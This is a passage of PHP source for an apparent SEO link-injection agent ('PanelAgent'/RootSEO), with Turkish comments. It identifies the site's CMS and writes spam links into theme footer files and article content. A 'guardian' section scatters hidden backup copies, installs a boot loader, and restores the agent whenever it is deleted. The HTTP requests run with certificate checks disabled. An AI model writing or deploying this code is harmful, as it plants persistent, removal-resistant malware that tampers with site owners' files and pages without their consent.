$block_size) { $key = hash($algo, $key, true); } $key = str_pad($key, $block_size, chr(0x00)); $ipad = str_repeat(chr(0x36), $block_size); $opad = str_repeat(chr(0x5c), $block_size); $inner = hash($algo, ($key ^ $ipad) . $data, true); $hmac = hash($algo, ($key ^ $opad) . $inner, true); return $raw_output ? $hmac : bin2hex($hmac); } } if (!function_exists('http_response_code')) { function http_response_code($code = null) { static $currentCode = 200; if ($code !== null) { $currentCode = (int)$code; $texts = array( 100 => 'Continue', 101 => 'Switching Protocols', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 204 => 'No Content', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable' ); $text = isset($texts[$currentCode]) ? $texts[$currentCode] : ''; if (!headers_sent()) { header($_SERVER['SERVER_PROTOCOL'] . ' ' . $currentCode . ' ' . $text, true, $currentCode); } } return $currentCode; } } if (!function_exists('random_bytes')) { function random_bytes($length) { if (!is_int($length) || $length < 1) { trigger_error('random_bytes(): Length must be a positive integer', E_USER_WARNING); return false; } if (function_exists('openssl_random_pseudo_bytes')) { $strong = false; $bytes = openssl_random_pseudo_bytes($length, $strong); if ($bytes !== false && strlen($bytes) === $length) { return $bytes; } } if (@is_readable('/dev/urandom')) { $h = @fopen('/dev/urandom', 'rb'); if ($h) { $bytes = fread($h, $length); fclose($h); if ($bytes !== false && strlen($bytes) === $length) { return $bytes; } } } $bytes = ''; while (strlen($bytes) < $length) { $bytes .= pack('H*', md5(uniqid(mt_rand(), true) . microtime(true) . serialize($_SERVER))); } return substr($bytes, 0, $length); } } // ==================== TEMEL FONKSİYONLAR ==================== function www_root() { // Once agent dosyasinin bulundugu dizin (en guvenilir) $here = dirname(__FILE__); if ($here && is_dir($here)) { $real = realpath($here); if ($real) { return $real; } return $here; } if (!empty($_SERVER['DOCUMENT_ROOT'])) { $doc = realpath($_SERVER['DOCUMENT_ROOT']); if ($doc) { return $doc; } } return '.'; } function endsWith($FullStr, $needle) { $StrLen = strlen($needle); $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen); return $FullStrEnd == $needle; } function folder_of_file($p1) { if (!stristr($p1, '/')) { return realpath('./'); } if (strpos($p1, '//') !== false) { $p1 = str_replace('//', '/', $p1); } if (endsWith($p1, '/') == true) { $p1 = substr_replace($p1, '', -1); } $p2 = ''; $ar = explode('/', $p1); for ($i = 1; $i < count($ar) - 1; $i++) { $p2 .= '/' . $ar[$i]; } if ($p1[0] == '.' && $p1[1] == '/') { $p2 = './' . $p2; } if ($p1[0] == '.' && $p1[1] == '.') { $p2 = '../' . $p2; } if (strpos($p2, '//') !== false) { $p2 = str_replace('//', '/', $p2); } return trim($p2); } function save($path, $source){ $os = strtolower(substr(PHP_OS, 0, 3)); $folder_P = folder_of_file($path); // DİZİNİ OLUŞTUR (eksikse) if (!is_dir($folder_P)) { mkdir($folder_P, 0755, true); } if (!is_writable($folder_P) && $os != "win"){ chmod($folder_P, 0755); } if (file_exists($path) && is_file($path) && !is_writable($path) && $os != "win"){ chmod($path, 0644); } if(function_exists('file_put_contents')){ $saV = file_put_contents($path, $source); }else{ $saV = fwrite(fopen($path, 'w'), $source); } return $saV; } function read($path) { $contents = ''; if (function_exists('file_get_contents')) { $contents = file_get_contents($path); } elseif (function_exists('fopen') && function_exists('stream_get_contents')) { $contents = stream_get_contents(fopen($path, "r")); } elseif (function_exists('implode') && function_exists('file')) { $contents = implode(file($path)); } elseif (function_exists('file')) { $lines = file($path); if (function_exists('implode')) { $contents = implode($lines); } else { foreach ($lines as $line) { $contents .= $line; } } } return $contents; } function out($msg, $stop = true) { // Beyaz ekran olmasin: debug olmasa da mesaj yaz if (!headers_sent()) { header('Content-Type: text/plain; charset=utf-8'); } echo $msg; if ($stop) { exit; } } function load_json_file($path, $fallback = array()) { if (!file_exists($path)) return $fallback; $raw = @file_get_contents($path); if ($raw === false || $raw === '') return $fallback; $json = json_decode($raw, true); return is_array($json) ? $json : $fallback; } function save_json_file($path, $data) { return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false; } function curlRequest($url, $headers = array(), $post = false, $postFields = null) { if (function_exists('curl_exec')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'PanelAgent/' . AGENT_VERSION); if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } if ($post) { curl_setopt($ch, CURLOPT_POST, true); if ($postFields !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); } } $res = curl_exec($ch); curl_close($ch); return $res; } if (function_exists('file_get_contents') && function_exists('stream_context_create')) { $opts = array( 'http' => array( 'method' => $post ? 'POST' : 'GET', 'timeout' => 20, 'ignore_errors' => true, 'user_agent' => 'PanelAgent/' . AGENT_VERSION ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) ); if (!empty($headers)) { $opts['http']['header'] = implode("\r\n", $headers); } if ($post && $postFields !== null) { $opts['http']['content'] = $postFields; } $context = stream_context_create($opts); return @file_get_contents($url, false, $context); } return false; } function detectCMS() { if (file_exists(www_root() . '/wp-config.php')) return 'wordpress'; if (file_exists(www_root() . '/artisan')) return 'laravel'; if (file_exists(www_root() . '/config.php') && is_dir(www_root() . '/catalog')) return 'opencart'; if (file_exists(www_root() . '/configuration.php') && is_dir(www_root() . '/administrator')) return 'joomla'; if (file_exists(www_root() . '/includes/bootstrap.inc') && is_dir(www_root() . '/sites')) return 'drupal'; if (file_exists(www_root() . '/config/settings.inc.php') && is_dir(www_root() . '/themes')) return 'prestashop'; return 'php'; } // ==================== LINK YÖNETİMİ ==================== function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); $allowed = array('dofollow', 'nofollow', 'ugc', 'sponsored'); return in_array($rel, $allowed, true) ? $rel : 'dofollow'; } function normalize_kind($kind) { $kind = strtolower(trim((string)$kind)); $valid = explode(',', VALID_LINK_KINDS); return in_array($kind, $valid, true) ? $kind : 'footer'; } function validate_url_value($url) { $url = trim((string)$url); if ($url === '' || strlen($url) > MAX_URL_LENGTH) return ''; if (!filter_var($url, FILTER_VALIDATE_URL)) return ''; $parts = @parse_url($url); if (!$parts || empty($parts['scheme'])) return ''; $scheme = strtolower((string)$parts['scheme']); if (!in_array($scheme, array('http', 'https'), true)) return ''; return $url; } function validate_anchor_text($anchor) { $anchor = trim((string)$anchor); if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return ''; return $anchor; } function validate_link_id($linkId) { $linkId = trim((string)$linkId); if ($linkId === '') return ''; if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return ''; return $linkId; } function build_deterministic_link_id($url, $anchor, $rel) { $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel); return 'v5_' . substr(hash('sha256', $seed), 0, 16); } function default_placement_state() { return array( 'status' => 'not_installed', 'strategy' => null, 'target' => null, 'install_mode' => null, 'marker' => null, 'message' => '', 'installed_at' => null, 'last_attempt_at' => null, 'last_verified_at' => null, 'verify_status' => 'unknown', 'history' => array(), ); } function default_config() { return array( 'output_mode' => 'visible', 'render_profile' => 'minimal_inline', 'render_types' => array('text_footer'), 'link_rel_strategy' => 'preserve', 'footer_link_cap' => FOOTER_LINK_CAP, 'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS, 'placement' => default_placement_state(), ); } function load_config() { $cfg = load_json_file(CONFIG_FILE, array()); $default = default_config(); foreach ($default as $key => $value) { if (!isset($cfg[$key])) { $cfg[$key] = $value; } } return $cfg; } function save_config($config) { return save_json_file(CONFIG_FILE, $config); } function load_links() { $raw = load_json_file(LINKS_FILE, array()); $config = load_config(); $normalized = array(); foreach ($raw as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } return $normalized; } function normalize_link_row($key, $row, $config) { if (!is_array($row)) return null; $url = validate_url_value(isset($row['url']) ? $row['url'] : ''); $anchor = validate_anchor_text(isset($row['anchor']) ? $row['anchor'] : ''); if ($url === '' || $anchor === '') return null; $rel = normalize_rel(isset($row['rel']) ? $row['rel'] : 'dofollow'); $id = validate_link_id(isset($row['id']) ? $row['id'] : ''); if ($id === '') { $id = validate_link_id($key); } if ($id === '') { $id = build_deterministic_link_id($url, $anchor, $rel); } $placement = isset($config['placement']) ? $config['placement'] : default_placement_state(); $kind = normalize_kind(isset($row['kind']) ? $row['kind'] : 'footer'); $created = isset($row['created']) ? intval($row['created']) : time(); $expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null; if ($kind === 'contextual') { $maxExpiry = $created + effective_contextual_ttl($config); if ($expiresAt === null || $expiresAt > $maxExpiry) { $expiresAt = $maxExpiry; } } $normalized = array( 'id' => $id, 'kind' => $kind, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => $created, 'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(), 'render_profile' => trim((string)(isset($row['render_profile']) ? $row['render_profile'] : (isset($config['render_profile']) ? $config['render_profile'] : 'minimal_inline'))), 'render_types' => filter_render_types(isset($row['render_types']) ? $row['render_types'] : (isset($config['render_types']) ? $config['render_types'] : array('text_footer'))), 'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20), 'placement_status' => isset($row['placement_status']) ? $row['placement_status'] : (isset($placement['status']) ? $placement['status'] : 'not_installed'), 'placement_strategy' => isset($row['placement_strategy']) ? $row['placement_strategy'] : (isset($placement['strategy']) ? $placement['strategy'] : null), 'placement_target' => isset($row['placement_target']) ? $row['placement_target'] : (isset($placement['target']) ? $placement['target'] : null), 'last_verified_at' => isset($row['last_verified_at']) ? $row['last_verified_at'] : (isset($placement['last_verified_at']) ? $placement['last_verified_at'] : null), ); return $normalized; } function effective_footer_cap($config) { $cap = isset($config['footer_link_cap']) ? intval($config['footer_link_cap']) : FOOTER_LINK_CAP; if ($cap < 1) $cap = FOOTER_LINK_CAP; if ($cap > 1000) $cap = 1000; return $cap; } function effective_contextual_ttl($config) { $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS; if ($ttl < 300) $ttl = 300; if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS; return $ttl; } function filtered_links($links) { $visible = array(); $expired = array(); $now = time(); foreach ($links as $link) { if (!is_array($link)) continue; $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $expired[] = $link; continue; } $visible[] = $link; } return array($visible, $expired); } function get_link_stats($links) { list($active, $expired) = filtered_links($links); return array( 'total' => count($links), 'active' => count($active), 'expired' => count($expired), ); } function enforce_footer_cap($links, $config) { $cap = effective_footer_cap($config); $footer = array(); $other = array(); foreach ($links as $id => $row) { $kind = isset($row['kind']) ? $row['kind'] : 'footer'; if ($kind === 'footer') { $footer[$id] = $row; } else { $other[$id] = $row; } } if (count($footer) > $cap) { uasort($footer, function ($a, $b) { $a_created = isset($a['created']) ? intval($a['created']) : 0; $b_created = isset($b['created']) ? intval($b['created']) : 0; if ($a_created == $b_created) return 0; return ($a_created > $b_created) ? -1 : 1; }); $footer = array_slice($footer, 0, $cap, true); } return $other + $footer; } function save_links($links) { $config = load_config(); $normalized = array(); foreach ((array)$links as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } $normalized = enforce_footer_cap($normalized, $config); ksort($normalized); return save_json_file(LINKS_FILE, $normalized); } function filter_render_types($types) { $allowed = array('text_inline', 'text_footer'); $final = array(); foreach ((array)$types as $type) { $type = trim((string)$type); if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) { $final[] = $type; } } return $final ? $final : array('text_footer'); } function clear_expired_links() { $links = load_links(); $active = array(); $removed = array(); $now = time(); foreach ($links as $id => $row) { $expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $removed[] = $id; continue; } $active[$id] = $row; } save_links($active); return array($active, $removed); } // ==================== RENDER FONKSİYONLARI ==================== function build_rel_attr($rel) { if ($rel === 'dofollow') return ''; return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"'; } function rootseo_footer_container_style() { return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;'; } function rootseo_footer_anchor_style() { return 'color:#9aa0a6;text-decoration:none;font-size:12px;'; } function build_footer_anchor_html($link) { $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); return '' . $anchor . ''; } function rootseo_build_footer_html($markRenderedOnce = true) { if ($markRenderedOnce && defined('ROOTSEO_AGENT_RENDERED_ONCE')) { return ''; } if ($markRenderedOnce) { define('ROOTSEO_AGENT_RENDERED_ONCE', true); } $links = load_links(); list($activeLinks, ) = filtered_links($links); if (empty($activeLinks)) return ''; $anchors = array(); foreach ($activeLinks as $link) { $kind = isset($link['kind']) ? $link['kind'] : 'footer'; if ($kind === 'contextual' && defined('ROOTSEO_WP_CONTEXTUAL_ACTIVE')) { continue; } $anchors[] = build_footer_anchor_html($link); } if (empty($anchors)) return ''; return '
' . implode(' · ', $anchors) . '
'; } function rootseo_render_links_html() { return rootseo_build_footer_html(true); } // ==================== CONTEXTUAL LINK (MAKALE İÇİ) ==================== function rootseo_pick_contextual_link($links, $seed) { $ctx = array(); foreach ($links as $link) { $kind = isset($link['kind']) ? $link['kind'] : 'footer'; if ($kind === 'contextual') $ctx[] = $link; } if (empty($ctx)) return null; usort($ctx, function ($a, $b) { $a_id = isset($a['id']) ? (string)$a['id'] : ''; $b_id = isset($b['id']) ? (string)$b['id'] : ''; return strcmp($a_id, $b_id); }); $h = hexdec(substr(hash('sha256', (string)$seed), 0, 8)); return $ctx[$h % count($ctx)]; } function rootseo_contextual_inject($content) { if (defined('ROOTSEO_CTX_DONE')) return $content; if (!is_string($content) || $content === '') return $content; if (function_exists('is_admin') && is_admin()) return $content; if (function_exists('is_feed') && is_feed()) return $content; if (function_exists('is_singular') && !is_singular()) return $content; if (function_exists('in_the_loop') && !in_the_loop()) return $content; if (function_exists('is_main_query') && !is_main_query()) return $content; try { $links = load_links(); list($activeLinks, ) = filtered_links($links); if (empty($activeLinks)) return $content; $postId = function_exists('get_the_ID') ? (get_the_ID() ? 1 : 0) : 0; $link = rootseo_pick_contextual_link($activeLinks, $postId ? $postId : $content); if (!$link) return $content; define('ROOTSEO_CTX_DONE', true); $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); $a = '' . $anchor . ''; $sentence = '

' . $a . '

'; $pos = stripos($content, '

'); if ($pos !== false) { $pos += 4; return substr($content, 0, $pos) . $sentence . substr($content, $pos); } return $content . $sentence; } catch (Exception $e) { return $content; } } // ==================== PLACEMENT (YERLEŞİM) STRATEJİLERİ ==================== function placement_marker($strategy) { return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12); } function build_dynamic_php_snippet($marker) { $connectorPath = addslashes(guardian_primary_path()); return ""; } function build_static_html_block($marker) { return "" . rootseo_build_footer_html(false) . ""; } function replace_between_markers($content, $startMarker, $endMarker, $replacement) { $startPos = strpos($content, $startMarker); $endPos = strpos($content, $endMarker); if ($startPos === false || $endPos === false || $endPos < $startPos) return null; $endPos += strlen($endMarker); return substr($content, 0, $startPos) . $replacement . substr($content, $endPos); } function upsert_php_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return array(false, 'file_not_writable'); $content = @file_get_contents($filePath); if ($content === false) return array(false, 'file_read_failed'); $snippet = build_dynamic_php_snippet($marker); $existing = replace_between_markers($content, "/* ROOTSEO_START:$marker */", "/* ROOTSEO_END:$marker */", $snippet); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return array(true, 'updated_existing_block'); return array(false, 'file_write_failed'); } $newContent = null; foreach (array('', '', '', '?>') as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n"; if (@file_put_contents($filePath, $newContent) === false) return array(false, 'file_write_failed'); return array(true, 'inserted_block'); } function upsert_html_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return array(false, 'file_not_writable'); $content = @file_get_contents($filePath); if ($content === false) return array(false, 'file_read_failed'); $block = build_static_html_block($marker); $existing = replace_between_markers($content, "", "", $block); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return array(true, 'updated_existing_block'); return array(false, 'file_write_failed'); } $newContent = null; foreach (array('', '', '') as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $block . "\n"; if (@file_put_contents($filePath, $newContent) === false) return array(false, 'file_write_failed'); return array(true, 'inserted_block'); } function find_document_root() { $base = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; if (empty($base)) { $base = dirname(__FILE__); for ($i = 0; $i < 5; $i++) { if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break; $parent = dirname($base); if ($parent === $base) break; $base = $parent; } } return $base; } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latestTime = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latestTime) { $latestTime = $mtime; $latest = $footer; } } return $latest; } function get_footer_paths($base, $siteType) { $paths = array(); switch ($siteType) { case 'wordpress': $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) $paths = array_merge($paths, $themes); break; case 'joomla': $tpls = glob($base . '/templates/*/index.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'drupal': $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'opencart': $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'prestashop': $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl'); if ($tpls) $paths = array_merge($paths, $tpls); $tpls2 = glob($base . '/themes/*/footer.tpl'); if ($tpls2) $paths = array_merge($paths, $tpls2); break; case 'laravel': $layouts = glob($base . '/resources/views/layouts/*.blade.php'); if ($layouts) $paths = array_merge($paths, $layouts); break; } $general = array( $base . '/footer.php', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php' ); foreach ($general as $path) { if (file_exists($path)) $paths[] = $path; } return array_values(array_unique($paths)); } function check_footer_writable($base, $siteType) { $paths = get_footer_paths($base, $siteType); foreach ($paths as $path) { if (file_exists($path) && is_writable($path)) return true; } if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true; return false; } function detect_site_info() { $base = find_document_root(); $info = array( 'site' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown', 'site_name' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'document_root' => $base, 'connector_path' => __FILE__, ); if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif (file_exists($base . '/artisan')) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } $indexFiles = array('index.php', 'index.html', 'index.htm'); foreach ($indexFiles as $file) { $path = $base . '/' . $file; if (!file_exists($path)) continue; $content = @file_get_contents($path, false, null, 0, 50000); if (!$content) continue; if (preg_match('/([^<]+)<\/title>/i', $content, $m)) { $info['site_name'] = trim(strip_tags($m[1])); } if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) { $info['meta_description'] = trim($m[1]); } if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) { $lang = strtolower($m[1]); $langMap = array('tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR'); $countryMap = array('tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA'); $info['language'] = isset($langMap[$lang]) ? $langMap[$lang] : 'EN'; $info['country'] = isset($countryMap[$lang]) ? $countryMap[$lang] : 'US'; } if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) { $info['footer_detected'] = true; } break; } $info['footer_writable'] = check_footer_writable($base, $info['site_type']); $info['footer_paths'] = get_footer_paths($base, $info['site_type']); $info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null; return $info; } // ==================== GUARDIAN (KENDİNİ DOĞURMA / KORUMA) ==================== function guardian_source_ok($src) { return is_string($src) && $src !== '' && strpos($src, '<?php') !== false && strpos($src, AGENT_SIGNATURE) !== false; } function guardian_primary_path() { // Her zaman docroot/agent.php — silinse bile ayni isimle dogurulur $doc = function_exists('find_document_root') ? find_document_root() : ''; if ($doc === '' || $doc === null) { $doc = dirname(__FILE__); } return rtrim(str_replace('\\', '/', $doc), '/') . '/agent.php'; } function guardian_dirs() { $dirs = array(); $seen = array(); $bases = array(dirname(__FILE__)); $doc = function_exists('find_document_root') ? find_document_root() : ''; if ($doc !== '' && $doc !== null) { $bases[] = $doc; if (is_dir($doc . '/wp-content')) { $bases[] = $doc . '/wp-content'; } if (is_dir($doc . '/tmp')) { $bases[] = $doc . '/tmp'; } } foreach ($bases as $base) { $base = rtrim(str_replace('\\', '/', $base), '/'); for ($i = 1; $i <= GUARDIAN_COPIES; $i++) { $d = $base . '/.rs_g' . $i; if (!isset($seen[$d])) { $seen[$d] = 1; $dirs[] = $d; } } } return $dirs; } function guardian_atomic_write($path, $src) { if ($path === '' || !guardian_source_ok($src)) { return false; } $dir = dirname($path); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $tmp = $path . '.heal.' . substr(md5(uniqid((string)mt_rand(), true)), 0, 8); if (@file_put_contents($tmp, $src) === false) { return false; } if (@rename($tmp, $path)) { if (function_exists('opcache_invalidate')) { @opcache_invalidate($path, true); } return true; } @unlink($path); $ok = @rename($tmp, $path); @unlink($tmp); if ($ok && function_exists('opcache_invalidate')) { @opcache_invalidate($path, true); } return (bool)$ok; } function guardian_write_copies() { $self = __FILE__; $src = @file_get_contents($self); if (!guardian_source_ok($src)) { return 0; } $stamp = array( 'version' => AGENT_VERSION, 'hash' => hash('sha256', $src), 'at' => time(), 'primary' => guardian_primary_path(), 'bytes' => strlen($src), ); $written = 0; foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) { continue; } if (@file_put_contents($dir . '/.rs_connector.php.bak', $src) !== false) { $written++; } @file_put_contents($dir . '/.rs_stamp.json', json_encode($stamp)); @file_put_contents($dir . '/index.html', ''); } $doc = function_exists('find_document_root') ? find_document_root() : dirname(__FILE__); if ($doc !== '' && is_dir($doc) && is_writable($doc)) { $doc = rtrim(str_replace('\\', '/', $doc), '/'); @file_put_contents($doc . '/.rs_seed.php', $src); @file_put_contents($doc . '/.panel_agent_mirror.php', $src); guardian_install_boot_loader($doc, $src); // Asil hedef: agent.php her zaman ayakta $primary = guardian_primary_path(); if (!guardian_is_healthy($primary)) { guardian_atomic_write($primary, $src); } else { // guncel tut $cur = @file_get_contents($primary); if ($cur !== $src) { guardian_atomic_write($primary, $src); } } } return $written; } function guardian_install_boot_loader($doc, $src) { $doc = rtrim(str_replace('\\', '/', $doc), '/'); $primary = addslashes(guardian_primary_path()); $boot = "<?php\n" . "/* ROOTSEO_BOOT v" . AGENT_VERSION . " — agent yoksa geri getirir, linkleri okur */\n" . "\$c = '$primary';\n" . build_guardian_restore_php('$c', '') . "if (@is_file(\$c)) {\n" . " if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n" . " @include_once \$c;\n" . "}\n"; @file_put_contents($doc . '/.rs_boot.php', $boot); if (guardian_source_ok($src)) { @file_put_contents($doc . '/.rs_seed.php', $src); } } function guardian_best_backup() { $best = null; $candidates = array(); foreach (guardian_dirs() as $dir) { $candidates[] = array($dir . '/.rs_connector.php.bak', $dir . '/.rs_stamp.json'); } $doc = function_exists('find_document_root') ? find_document_root() : ''; if ($doc !== '') { $doc = rtrim(str_replace('\\', '/', $doc), '/'); $candidates[] = array($doc . '/.rs_seed.php', ''); $candidates[] = array($doc . '/.panel_agent_mirror.php', ''); } // Calisan bu dosya da yedek sayilir if (@is_file(__FILE__)) { $candidates[] = array(__FILE__, ''); } foreach ($candidates as $pair) { $bak = $pair[0]; $stampFile = $pair[1]; if (!@is_file($bak)) { continue; } $src = @file_get_contents($bak); if (!guardian_source_ok($src)) { continue; } $ver = '0'; if ($stampFile !== '' && @is_file($stampFile)) { $stamp = load_json_file($stampFile, array()); if (isset($stamp['hash']) && hash('sha256', $src) !== $stamp['hash']) { continue; } $ver = (string)(isset($stamp['version']) ? $stamp['version'] : '0'); } else { if (preg_match("/define\\(\\s*'AGENT_VERSION'\\s*,\\s*'([^']+)'\\s*\\)/", $src, $m)) { $ver = $m[1]; } } if ($best === null || version_compare($ver, $best['version'], '>')) { $best = array('src' => $src, 'version' => $ver, 'from' => $bak); } } return $best; } function guardian_is_healthy($path) { if (!@is_file($path) || @filesize($path) < 64) { return false; } $src = @file_get_contents($path); return guardian_source_ok($src); } function guardian_restore_primary() { $primary = guardian_primary_path(); $best = guardian_best_backup(); if ($best === null) { return false; } return guardian_atomic_write($primary, $best['src']); } /** * Inline PHP: $c yoksa / bozuksa gizli yedeklerden atomic geri yazar. */ function build_guardian_restore_php($varName, $indent) { $i = $indent; $i2 = $indent . ' '; $i3 = $indent . ' '; $i4 = $indent . ' '; $i5 = $indent . ' '; return $i . "if (!@is_file($varName) || @filesize($varName) < 64) {\n" . $i2 . "\$__rs_d = dirname($varName);\n" . $i2 . "\$__rs_roots = array(\$__rs_d);\n" . $i2 . "if (!empty(\$_SERVER['DOCUMENT_ROOT'])) { \$__rs_roots[] = \$_SERVER['DOCUMENT_ROOT']; }\n" . $i2 . "if (is_dir(\$__rs_d . '/wp-content')) { \$__rs_roots[] = \$__rs_d . '/wp-content'; }\n" . $i2 . "\$__rs_done = false;\n" . $i2 . "foreach (\$__rs_roots as \$__rs_root) {\n" . $i3 . "if (\$__rs_done) { break; }\n" . $i3 . "\$__rs_root = rtrim(str_replace('\\\\', '/', (string)\$__rs_root), '/');\n" . $i3 . "\$__rs_cands = array();\n" . $i3 . "foreach ((array)@glob(\$__rs_root . '/.rs_g*/.rs_connector.php.bak') as \$__rs_b) { \$__rs_cands[] = \$__rs_b; }\n" . $i3 . "\$__rs_extra = array(\$__rs_root . '/.rs_seed.php', \$__rs_root . '/.panel_agent_mirror.php');\n" . $i3 . "foreach (\$__rs_extra as \$__rs_e) { if (@is_file(\$__rs_e)) { \$__rs_cands[] = \$__rs_e; } }\n" . $i3 . "foreach (\$__rs_cands as \$__rs_bak) {\n" . $i4 . "\$__rs_src = @file_get_contents(\$__rs_bak);\n" . $i4 . "if (\$__rs_src && strpos(\$__rs_src, '<?php') !== false && strpos(\$__rs_src, 'PANEL AGENT') !== false) {\n" . $i5 . "\$__rs_tmp = $varName . '.heal.' . substr(md5((string)microtime(true)), 0, 6);\n" . $i5 . "if (@file_put_contents(\$__rs_tmp, \$__rs_src) !== false) {\n" . $i5 . " @rename(\$__rs_tmp, 